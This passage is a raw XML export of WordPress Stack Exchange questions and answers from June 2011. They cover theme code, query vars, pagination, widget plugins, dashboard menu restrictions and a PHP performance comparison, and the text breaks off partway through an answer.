  <row Id="20927" PostTypeId="1" CreationDate="2011-06-24T10:19:46.700" Score="0" ViewCount="42" Body="&lt;p&gt;Working on my WordPress theme (Stallion SEO theme) that a lot of autobloggers use and want it to rewrite content before it's served to a browser, have the concept working perfectly for one autoblog plugin (at least I think I do as not had an issue with that autoblog plugin) , now working on another plugins content and hitting a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically rewriting affiliate links (Amazon for example) before it's output to a browser, in this way the theme doesn't change the database, but Google and visitors see an SEO'd version of the links (cloaked link) which saves a lot of link benefit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code I'm having problems with is like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$content = preg_replace('/&amp;lt;a href=&quot;(.*)&quot; rel=&quot;nofollow&quot;&amp;gt;(.*)&amp;lt;\/a&amp;gt;/i', '&amp;lt;span class=&quot;affst&quot; title=&quot;tests&quot; id=&quot;$1&quot;&amp;gt;$2&amp;lt;/span&amp;gt;', $content);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This replaces nofollowed links with the second part of the code you see above that some javascript built into the Stallion theme coverts to clickable links that don't pass link benefit (perfect for affiliate links).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works, but if there's two links close together it sometimes combines the two links into one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this sort of line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;12345&quot; rel=&quot;nofollow&quot;&amp;gt;67890&amp;lt;/a&amp;gt; blah, blah, blah &amp;lt;a href=&quot;abcde&quot; rel=&quot;nofollow&quot;&amp;gt;fghi&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Might be rewritten to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;span class=&quot;affst&quot; title=&quot;tests&quot; id=&quot;12345&quot;&amp;gt;fghi&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas what's going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;David&lt;/p&gt;&#xA;" OwnerUserId="2062" LastActivityDate="2011-06-24T10:19:46.700" ClosedDate="2011-06-24T10:48:25.940" Title="preg_replace doing something funky" Tags="&lt;php&gt;" CommentCount="2" />
  <row Id="20928" PostTypeId="2" ParentId="20912" CreationDate="2011-06-24T10:55:35.410" Score="0" ViewCount="" Body="&lt;p&gt;You can change the stylesheet of your current page with some Javascript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your &lt;code&gt;header.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;main.css&quot; id=&quot;stylesheet&quot;&amp;gt;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;function switchStyleSheet( url ) {&#xA;    document.getElementById( 'stylesheet' ).href = url;&#xA;}&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in your template file :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;#&quot; onclick=&quot;switchStyleSheet('main.css'); return false;&quot; &amp;gt;switch to main style&amp;lt;/a&amp;gt; &#xA;&#xA;&amp;lt;a href=&quot;#&quot; onclick=&quot;switchStyleSheet('special.css'); return false;&quot; &amp;gt;switch to special style&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-24T10:55:35.410" CommentCount="2" />
  <row Id="20929" PostTypeId="2" ParentId="20904" CreationDate="2011-06-24T12:05:45.787" Score="3" ViewCount="" Body="&lt;p&gt;Short version: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;_encloseme is added to a post when it's published. The wp-cron process should get scheduled shortly thereafter to process the post to look for enclosures. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, it cleans them up normally later. Nothing to worry about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Full explanation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Enclosures&quot; are links in a post to something like an audio or video file. WordPress finds these based on the MIME type of the files being linked to, then saves extra metadata about them. This metadata is used in the RSS feeds, to create special tags to connect these files to the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how podcasts work, for example. If you put a link to an MP3 in a post, then an enclosure will be created for that link, and the feed will have the enclosure, and podcast readers like iTunes can then use that to be able to download the MP3 directly from the RSS feed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;_encloseme is just special metadata saying that the post hasn't been processed by the enclosure process yet. When you create or update a published post, that gets auto-added so that the post will be processed by the enclosure creator.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-06-24T12:05:45.787" CommentCount="3" />
  <row Id="20930" PostTypeId="2" ParentId="20766" CreationDate="2011-06-24T12:06:00.850" Score="0" ViewCount="" Body="&lt;p&gt;This is what ended up working.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_query;   &#xA;&#xA;query_posts(array_merge(array('orderby' =&amp;gt; 'meta_value', 'meta_key' =&amp;gt; 'rw_lname' ),$wp_query-&amp;gt;query));&#xA;&#xA;&amp;lt;?php while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4090" LastActivityDate="2011-06-24T12:06:00.850" />
  <row Id="20931" PostTypeId="2" ParentId="11578" CreationDate="2011-06-24T12:08:13.703" Score="0" ViewCount="" Body="&lt;p&gt;Hi and thanks for this solution!&#xA;I put this on local site with Thesis and it works like a charm!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when put this on other hosted site it give me error - Fatal error: Call to undefined function _wp_link_page() in ....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do You have an idea what is the problem?&lt;/p&gt;&#xA;" OwnerUserId="6470" LastEditorUserId="6470" LastEditorDisplayName="" LastEditDate="2011-06-24T12:34:23.510" LastActivityDate="2011-06-24T12:34:23.510" />
  <row Id="20932" PostTypeId="1" CreationDate="2011-06-24T12:20:33.370" Score="1" ViewCount="60" Body="&lt;p&gt;I have a banner which is made in flash.I want the flash file in my header section but I came to know that wordpress doesn't allow swf files.So is there any way to put swf files in the banner? Is there any like putting that flash file code in a text widget or something like that?&lt;/p&gt;&#xA;" OwnerUserId="6170" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-06-24T14:57:17.273" LastActivityDate="2011-08-24T11:34:11.320" Title="putting flash file in wordpress" Tags="&lt;wordpress.com&gt;&lt;flash&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="20933" PostTypeId="2" ParentId="20873" CreationDate="2011-06-24T12:20:42.777" Score="2" ViewCount="" Body="&lt;p&gt;Just found a partial solution for this via &lt;code&gt;$is_IE&lt;/code&gt; in wp-includes/vars.php!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function emporium_enqueue_scripts() {&#xA;    global $is_IE;&#xA;    if( $is_IE ) {&#xA;        wp_register_script( 'emporium-focus' , get_template_directory_uri() . '/library/focus.js', '', '',  true );&#xA;        wp_enqueue_script( 'emporium-focus' );&#xA;    }&#xA;}&#xA;add_action('init', 'emporium_enqueue_scripts');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That seems to load library/focus.js on an &lt;code&gt;if IE&lt;/code&gt; basis but there's nothing in core to do any IE version conditionals for scripts. Looks like a &lt;a href=&quot;http://core.trac.wordpress.org/ticket/10891&quot; rel=&quot;nofollow&quot;&gt;Trac ticket&lt;/a&gt; on the subject has been shelved for the time being.&lt;/p&gt;&#xA;" OwnerUserId="6471" LastActivityDate="2011-06-24T12:20:42.777" CommentCount="1" />
  <row Id="20934" PostTypeId="1" AcceptedAnswerId="20935" CreationDate="2011-06-24T12:38:29.557" Score="1" ViewCount="48" Body="&lt;p&gt;I was unable to find a custom html widget with Joomla style assignment. Like you create a module (widget), define some HTML and assign it to certain menu items (or set it to show everywhere except the selected etc). Given WordPress doesn't have the same menu system, the widget has to be able to assign itself to certain pages, post categories and tags. &#xA;Hardcoding conditional tags into the template won't work...&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Thanks for your help.&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;edited: I have come across this plugin. The problem is I need something easy to use for untechy guys. Like a set of checkboxes containing names of pages and categories.  &lt;/p&gt;&#xA;" OwnerUserId="6472" LastEditorUserId="6472" LastEditorDisplayName="" LastEditDate="2011-06-24T12:52:04.493" LastActivityDate="2011-06-24T12:58:21.420" Title="Custom html widget with a Joomla-style assigment" Tags="&lt;widgets&gt;" AnswerCount="2" />
  <row Id="20935" PostTypeId="2" ParentId="20934" CreationDate="2011-06-24T12:44:48.750" Score="1" ViewCount="" Body="&lt;p&gt;This plugin might help you : &lt;a href=&quot;http://wordpress.org/extend/plugins/widget-logic/&quot; rel=&quot;nofollow&quot;&gt;Widget logic&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also many variants of this kind of plugin listed in &lt;a href=&quot;http://www.alexandrasamuel.com/toolbox/choosing-a-widget-control-plugin-for-wordpress&quot; rel=&quot;nofollow&quot;&gt;this article&lt;/a&gt;. Maybe you'll find one that suits your needs there.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-06-24T12:58:21.420" LastActivityDate="2011-06-24T12:58:21.420" CommentCount="2" />
  <row Id="20936" PostTypeId="2" ParentId="20934" CreationDate="2011-06-24T12:45:04.327" Score="0" ViewCount="" Body="&lt;p&gt;I am not sure I understand your specific &quot;Joomla-style&quot; needs, but in WP conditional display of widgets is commonly implemented by using plugins that extend native widget controls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example &lt;a href=&quot;http://wordpress.org/extend/plugins/widget-logic/&quot; rel=&quot;nofollow&quot;&gt;Widget Logic&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-24T12:45:04.327" />
  <row Id="20937" PostTypeId="2" ParentId="20932" CreationDate="2011-06-24T12:51:09.913" Score="0" ViewCount="" Body="&lt;p&gt;You can what ever you want.&lt;a href=&quot;http://wordpress.org/extend/plugins/dynamic-headers/&quot; rel=&quot;nofollow&quot;&gt;Dynamic Headers&lt;/a&gt;. Using this plugin you can upload swf files and set as a header. if not work try this. &lt;a href=&quot;http://wordpress.org/extend/plugins/flash-header-rotator/&quot; rel=&quot;nofollow&quot;&gt;Flash Header Rotator&lt;/a&gt;&#xA;.i think this would be helps you.:) it works means give vote up or accept correct answer.&lt;/p&gt;&#xA;" OwnerUserId="5669" LastEditorUserId="5669" LastEditorDisplayName="" LastEditDate="2011-06-24T13:23:55.877" LastActivityDate="2011-06-24T13:23:55.877" CommentCount="4" />
  <row Id="20938" PostTypeId="2" ParentId="20873" CreationDate="2011-06-24T12:51:17.567" Score="2" ViewCount="" Body="&lt;p&gt;This is the work around I had to put in place since WP doesnt support what I was trying to do&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;functions.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'sort_out_jquery_pngfix_frontend');&#xA;function sort_out_jquery_pngfix_frontend() {&#xA;    if(!is_admin()) {&#xA;        wp_deregister_script('jquery');&#xA;        wp_register_script('jquery', 'https://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js', array(), NULL, true);&#xA;        wp_register_script('dd_belatedpng', get_stylesheet_directory_uri() . '/js/dd_belatedpng.js', array(), NULL, true);&#xA;    }&#xA;}&#xA;&#xA;add_action('wp_print_scripts', 'register_theme_scripts');&#xA;function register_theme_scripts() {&#xA;    if(!is_admin()) {&#xA;        wp_enqueue_script('modernizr', get_stylesheet_directory_uri() . '/js/modernizr-1.7.min.js', array(), NULL, false);&#xA;        wp_enqueue_script('googlemaps', 'http://maps.google.com/maps/api/js?sensor=false', array(), NULL, true);&#xA;        wp_enqueue_script('jquery');&#xA;        wp_enqueue_script('sc_wc_js', get_stylesheet_directory_uri() . '/js/function.js', array('jquery'), '1.0', true);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;footer.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_footer(); ?&amp;gt;&#xA;&amp;lt;!--[if lt IE 7]&amp;gt;&#xA;&amp;lt;?php wp_print_scripts(array('dd_belatedpng')); ?&amp;gt;&#xA;&amp;lt;script&amp;gt;DD_belatedPNG.fix(&quot;img, .png_bg&quot;);&amp;lt;/script&amp;gt;&#xA;&amp;lt;![endif]--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-06-24T12:51:17.567" CommentCount="1" />
  <row Id="20939" PostTypeId="2" ParentId="19350" CreationDate="2011-06-24T12:56:27.313" Score="1" ViewCount="" Body="&lt;p&gt;Try the following in your child theme functions file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'remove_mc_projects' );&#xA;function remove_mc_projects() {&#xA;    remove_action('init', 'mc_projects');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-06-24T12:56:27.313" />
  <row Id="20940" PostTypeId="2" ParentId="19926" CreationDate="2011-06-24T13:01:31.940" Score="0" ViewCount="" Body="&lt;p&gt;The format of the &lt;code&gt;selected()&lt;/code&gt; function you are using is incorrect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;selected()&lt;/code&gt; can only be passed two variables, you are passing three. Please see this codex article for help: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/selected&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/selected&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without you pasting more of your code I cannot see how to fix your above code.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-06-24T13:01:31.940" />
  <row Id="20941" PostTypeId="2" ParentId="20926" CreationDate="2011-06-24T13:19:09.820" Score="2" ViewCount="" Body="&lt;p&gt;You have to use a static page in this case:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Settings &lt;strong&gt;-&gt;&lt;/strong&gt; General &lt;strong&gt;-&gt;&lt;/strong&gt; Fron Page Display: A static Page&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-24T13:19:09.820" CommentCount="2" />
  <row Id="20942" PostTypeId="1" CreationDate="2011-06-24T13:22:54.837" Score="0" ViewCount="78" Body="&lt;p&gt;Update: This snippet below removes the menu also for my admin account:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;`&#xA;function remove_menu_items() {&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $menu;&#xA;global $user_ID; &#xA;&#xA;if( $user_ID ) :&#xA;&#xA;    /* Dashboard only acccess */&#xA;    if( current_user_can( 'Dashboardvisitors' ) ) :&#xA;&#xA;            $restricted = array(&#xA;                __('Posts'),&#xA;                __('Media'),&#xA;                __('Pages'),&#xA;                __('Links'),&#xA;                __('Appearance'),&#xA;                __('Tools'),&#xA;                __('Users'),&#xA;                __('Settings'),&#xA;                __('Comments'),&#xA;                __('Plugins')&#xA;        );&#xA;&#xA;   endif;&#xA;&#xA;endif;  &#xA;&#xA;end ( $menu );&#xA;&#xA;while ( prev( $menu ) ) :&#xA;    $value = explode( ' ', $menu[key($menu)][0] );&#xA;    if( in_array( $value[0] != NULL?$value[0]:&quot;&quot; , $restricted ) ) :&#xA;        unset( $menu[key($menu)] );&#xA;    endif;&#xA;endwhile;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&#xA;add_action('admin_menu', 'remove_menu_items');&#xA;`&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I give a user access to the dashboard only?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More specifically, I want them to be able to see the wordpress stats widget and the google analytics widget. That's it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created a new user with the role dashboardvisitors using the plugin USER ROLE EDITOR. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now &lt;strong&gt;level 0 plus read access&lt;/strong&gt; doesn't cut it. The dashboard is just empty. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding &lt;strong&gt;edit dashboard&lt;/strong&gt; doesn't change anything. Still nothing there (but I don't want them to be able to edit the dashboard anyways).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make this happen? It's very important, so thanks a lot!&lt;/p&gt;&#xA;" OwnerUserId="6025" LastEditorUserId="6025" LastEditorDisplayName="" LastEditDate="2011-06-25T16:34:42.513" LastActivityDate="2011-08-25T01:34:22.257" Title="Allow user access to Dashboard only!" Tags="&lt;users&gt;&lt;dashboard&gt;&lt;access&gt;" AnswerCount="1" />
  <row Id="20943" PostTypeId="2" ParentId="20942" CreationDate="2011-06-24T13:40:02.977" Score="0" ViewCount="" Body="&lt;p&gt;You can put this in your &lt;code&gt;functions.php&lt;/code&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function remove_menu_items() {&#xA;&#xA;    global $menu;&#xA;    global $user_ID; &#xA;&#xA;    if( $user_ID ) :&#xA;&#xA;        /* Dashboard only acccess */&#xA;        if( current_user_can( 'dashboardvisitors' ) ) :&#xA;&#xA;                $restricted = array(&#xA;                    __('Posts'),&#xA;                    __('Pages'),&#xA;                    __('Links'), &#xA;                    [etc...]&#xA;            );&#xA;&#xA;        endif;&#xA;&#xA;    endif;  &#xA;&#xA;    end ( $menu );&#xA;&#xA;    while ( prev( $menu ) ) :&#xA;        $value = explode( ' ', $menu[key($menu)][0] );&#xA;        if( in_array( $value[0] != NULL?$value[0]:&quot;&quot; , $restricted ) ) :&#xA;            unset( $menu[key($menu)] );&#xA;        endif;&#xA;    endwhile;&#xA;&#xA;}&#xA;add_action('admin_menu', 'remove_menu_items');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What it does is that for each user of the role 'dashboardvisitors' going to the WP admin, it removes the menu items listed in the &lt;code&gt;restricted&lt;/code&gt; array. If you list all the admin sections except the dashboard in that array you should have a dashboard only admin.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-24T13:40:02.977" CommentCount="1" />
  <row Id="20944" PostTypeId="1" AcceptedAnswerId="20945" CreationDate="2011-06-24T13:48:09.863" Score="0" ViewCount="39" Body="&lt;p&gt;I'm using  &lt;strong&gt;wp_dropdown_categories()&lt;/strong&gt;  to output a dropdown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In default view (without having clicked it) it shows the name of the &lt;em&gt;first category&lt;/em&gt; in the list. I'd like it to say &lt;em&gt;&quot;Categories&quot;&lt;/em&gt;. Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="4022" LastActivityDate="2011-06-24T14:00:02.907" Title="change default option in wp_dropdown_categories" Tags="&lt;functions&gt;&lt;overridable-functions&gt;" AnswerCount="1" />
  <row Id="20945" PostTypeId="2" ParentId="20944" CreationDate="2011-06-24T14:00:02.907" Score="1" ViewCount="" Body="&lt;p&gt;You can use the show_option_all argument:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $args = array(&#xA;'show_option_all'    =&amp;gt; 'Categories'&#xA;);&#xA;wp_dropdown_categories( $args );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_dropdown_categories&quot; rel=&quot;nofollow&quot;&gt;Function Reference/wp dropdown categories&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-06-24T14:00:02.907" CommentCount="1" />
  <row Id="20946" PostTypeId="1" CreationDate="2011-06-24T14:08:52.647" Score="0" ViewCount="91" Body="&lt;p&gt;There are a million posts on the topic in this stack exchange, and yet for some reason I cannot get this to work for me. I wonder what I'm doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my functions.php I define this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('query_vars', 'add_quote_query_vars');&#xA;function add_quote_query_vars($qv){&#xA;    $qv[] = 'xx-quote';&#xA;    return $qv;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then later, on front_page.php I provide a link that embeds this into the URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo  '&amp;lt;a href=&quot;'.add_query_arg('xx-quote', $quote-&amp;gt;ID).'&quot;&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Two things go wrong.&#xA;1: if, on my template page I &lt;code&gt;print_r($wp_query-&amp;gt;query_vars);&lt;/code&gt;, my 'xx-quote' doesn't appear in the list&#xA;2: as soon as I actually try to include that in the URL (by clicking the link, the URL is &lt;code&gt;http://mysite.com/blog/?xx-quote=555&lt;/code&gt;) I'm taken to an archive page, rather than the expected front page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's interesting about #2 is that as soon as I remove the &lt;code&gt;query_vars&lt;/code&gt; filter and click the link again, I'm taken correctly to the front page as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I just not understanding the role of the query_vars? Is this expected behaviour? Or am I calling the filter at the wrong time (I've tried wrapping it in an init action, or even bare inside functions.php)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can just ignore all this, since I'm dealing with the front_page.php anyway, and just use $_REQUEST['xx-quote'] but that doesn't seem like a best practice at all, and I'm trying to do it &quot;the WordPress way&quot;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Needless to say, the following code produces no results:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_query;&#xA;echo $wp_query-&amp;gt;query_vars['xx-quote'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that is the basis of my confusion. I've read all the related posts on this SE and I &lt;em&gt;seem&lt;/em&gt; to be doing everything right. Clearly I'm not - what's gone wrong?&lt;/p&gt;&#xA;" OwnerUserId="3687" LastEditorUserId="3687" LastEditorDisplayName="" LastEditDate="2011-06-24T19:10:13.317" LastActivityDate="2011-06-24T19:27:15.983" Title="As soon as I add a custom query_var using the filter, my pages point to an archive page - why?" Tags="&lt;urls&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="20948" PostTypeId="1" CreationDate="2011-06-24T14:44:51.740" Score="3" ViewCount="79" Body="&lt;p&gt;Is calling function_exists() faster or slower that apply_filters() ... or is the difference so small that it should not be considered?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did a bit of testing based on Kaiser's and it showed that function_exists() is ~3 times faster where both the function and filter exist. and ~11 times faster if the filter does not exist. Was not expecting this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function taco_party() {&#xA;    return true;&#xA;}&#xA;&#xA;add_filter( 'taco-party', 'taco_party' );&#xA;&#xA;timer_start();&#xA;for ( $i = 0; $i &amp;lt; 1000000; $i++ )  {&#xA;    $test = apply_filters( 'taco-party', '' );&#xA;}&#xA;echo( 'Seconds: ' . timer_stop( 0, 10 ) . '&amp;lt;br /&amp;gt;' );&#xA;&#xA;timer_start();&#xA;for ( $i = 0; $i &amp;lt; 1000000; $i++ )  {&#xA;    if ( function_exists( 'taco_party' ) ) {&#xA;        $test = taco_party();&#xA;    }&#xA;}&#xA;echo( 'Seconds: ' . timer_stop( 0, 10 ) . '&amp;lt;br /&amp;gt;' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Bear in mind that this is running each method 1,000,000 times which is quite a lot. Each method ran once completes very, very quickly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Test 1: 0.0000491142&#xA;Test 2: 0.0000140667&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would conclude that the difference is not an issue.&lt;/p&gt;&#xA;" OwnerUserId="1367" LastEditorUserId="1367" LastEditorDisplayName="" LastEditDate="2011-06-24T20:20:27.270" LastActivityDate="2011-06-24T21:06:44.753" Title="Is calling function_exists() faster or slower that apply_filters()" Tags="&lt;apply-filters&gt;&lt;function-exists&gt;" AnswerCount="3" CommentCount="7" />
  <row Id="20949" PostTypeId="1" CreationDate="2011-06-24T14:50:29.680" Score="0" ViewCount="49" Body="&lt;p&gt;I was just wondering if anyone could help me out. My pagination isn't working. When I click on the 'next page' link it sends me to a url ending in /page/2/ but gives a 404 error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read tens of questions that are similar but none of the solutions seem to work for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Video Category&#xA;&#xA;// calling the header.php&#xA;get_header();&#xA;&#xA;// action hook for placing content above #container&#xA;thematic_abovecontainer();&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;div id=&quot;container&quot;&amp;gt;&#xA;    &amp;lt;?php thematic_abovecontent(); ?&amp;gt;&#xA;    &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;        &amp;lt;?php&#xA;            $temp=$wp_query;&#xA;            $wp_query=null;&#xA;            $wp_query=new WP_Query();&#xA;            $wp_query-&amp;gt;query('posts_per_page=2&amp;amp;cat=7&amp;amp;paged='.$paged);&#xA;            echo '&amp;lt;h1&amp;gt;'; single_cat_title(); echo '&amp;lt;/h1&amp;gt;';&#xA;            while ($wp_query-&amp;gt;have_posts() ) : $wp_query-&amp;gt;the_post();?&amp;gt;&#xA;                &amp;lt;div&amp;gt;&#xA;                    &amp;lt;h2&amp;gt;&amp;lt;?php the_title();?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                    &amp;lt;p&amp;gt;&amp;lt;?php the_date();?&amp;gt;&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;div class=&quot;video-content&quot;&amp;gt;&amp;lt;?php the_content();?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php endwhile;?&amp;gt;&#xA;            &amp;lt;div id=&quot;nav-below&quot; class=&quot;navigation&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;nav-previous&quot;&amp;gt;&amp;lt;?php previous_posts_link(); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;nav-next&quot;&amp;gt;&amp;lt;?php next_posts_link(); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php $wp_query = null;&#xA;            $wp_query = $temp;&#xA;            ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- #content --&amp;gt;&#xA; &amp;lt;?php thematic_belowcontent(); ?&amp;gt; &#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #container --&amp;gt;&#xA;&#xA;&amp;lt;?php &#xA;&#xA;// action hook for placing content below #container&#xA;thematic_belowcontainer();&#xA;&#xA;// calling the standard sidebar &#xA;thematic_sidebar();&#xA;&#xA;// calling footer.php&#xA;get_footer();&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3570" LastActivityDate="2011-08-24T07:34:11.133" Title="Pagination on Custom Loop Problem" Tags="&lt;pagination&gt;&lt;custom-loop&gt;" AnswerCount="1" />
  <row Id="20950" PostTypeId="2" ParentId="20948" CreationDate="2011-06-24T14:53:49.117" Score="3" ViewCount="" Body="&lt;p&gt;I don't know if one is faster or slower than the other, but I would suggest that using &lt;code&gt;apply_filters()&lt;/code&gt; is the &lt;em&gt;better&lt;/em&gt; approach, because it is &lt;em&gt;cleaner&lt;/em&gt;, and more intuitive (in the sense of doing things the &quot;WordPress way&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're doing comparison tests, shouldn't you compare the time required to execute the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if ( ! function_exists( 'taco_party' ) ) {&#xA;    function taco_party( $salsa = true ) {&#xA;        return $salsa;&#xA;    }&#xA;}&#xA;&#xA;function taco_party( $salsa = true ) {&#xA;    return $salsa;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Versus This:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function taco_party( $salsa = true ) {&#xA;    